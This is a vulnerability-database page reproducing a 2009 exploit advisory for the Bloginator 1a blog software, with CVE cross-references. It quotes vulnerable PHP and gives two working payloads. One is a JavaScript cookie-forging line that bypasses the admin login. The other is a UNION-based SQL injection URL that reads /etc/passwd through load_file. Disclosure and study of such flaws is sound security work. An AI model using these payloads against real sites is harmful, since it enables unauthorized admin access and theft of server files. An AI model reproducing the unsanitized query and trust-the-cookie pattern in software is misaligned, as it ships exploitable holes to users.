Lucene search
+L

Bloginator 1a - Cookie Bypass / SQL Injection

🗓️ 19 Mar 2009 00:00:00Reported by FireshotType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

Bloginator 1a Vulnerabilities: Cookie Bypass, SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-1049
19 Mar 200900:00
circl
circl
Circl
CVE-2009-1050
19 Mar 200900:00
circl
cve
CVE
CVE-2009-1049
24 Mar 200914:00
cve
cve
CVE
CVE-2009-1050
24 Mar 200914:00
cve
cvelist
Cvelist
CVE-2009-1049
24 Mar 200914:00
cvelist
cvelist
Cvelist
CVE-2009-1050
24 Mar 200914:00
cvelist
exploitdb
Exploit DB
Bloginator 1a - SQL Injection / Command Injection (via Cookie Bypass )
19 Mar 200900:00
exploitdb
euvd
EUVD
EUVD-2009-1050
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2009-1051
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-1049
24 Mar 200914:30
nvd
Rows per page
##########################################################################

Author = FireShot , Jacopo Vuga.
Mail = fireshot<at>autistici<dot>org

Software = Bloginator V1A
Download = http://kamads.com/kamads_ads/download.php?email=bloginator&ID=0

Greets to = Osirys, Myral, str0ke

###########################################################################

Vulnerability = Insicure Cookie Handling

###########################################################################

[CODE]

[URL] www.site.com/bloginator/articleCall.php

global $name,$password,$returnLink;
$p_name = strip_tags(substr($_POST['name'],0,32));
$p_password = strip_tags(substr($_POST['password'],0,32));
if(crypt($p_name , $name) == $name and crypt($p_password,$password) == $password )
 {

           setcookie("identifyYourself","you are identified");
           print "Login successfull<br>";
           print $returnLink;
       }
   else {print "Wrong username or password";
   }
}

[/CODE]


[EXPLOIT]

javascript:document.cookie = "identifyYourself=you+are+identified; path=/";

[/EXPLOIT]

############################################################################

Vulnerability = SQL injection

############################################################################

[CODE]

[URL] www.site.com/bloginator/articleCall.php

$action = @$_GET['action'];
[...]
$id = $_GET['id'];
[...]
function editArticle($id,$message)
{
global $returnLink;
$query = "select * FROM articles WHERE id='$id'";
$sql = mysql_query($query) or die(mysql_query());
$title = mysql_result($sql,0,'title');
$title = htmlentities($title);
$article = mysql_result($sql,0,'article');
$article = htmlentities($article);
$link = mysql_result($sql,0,'link');
$link = htmlentities($link);

startHTML("Edit ID # ".$id);
?>

[/CODE]

[EXPLOIT]

As Admin (Post Cookie exploit) you can inj arbitrary SQL code in the query.

www.site.com/action=edit&id=fireshot' union select 1,2,3,4,load_file('/etc/passwd'),6,7 order by '*

[/EXPLOIT]

##############################################################################

# milw0rm.com [2009-03-19]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation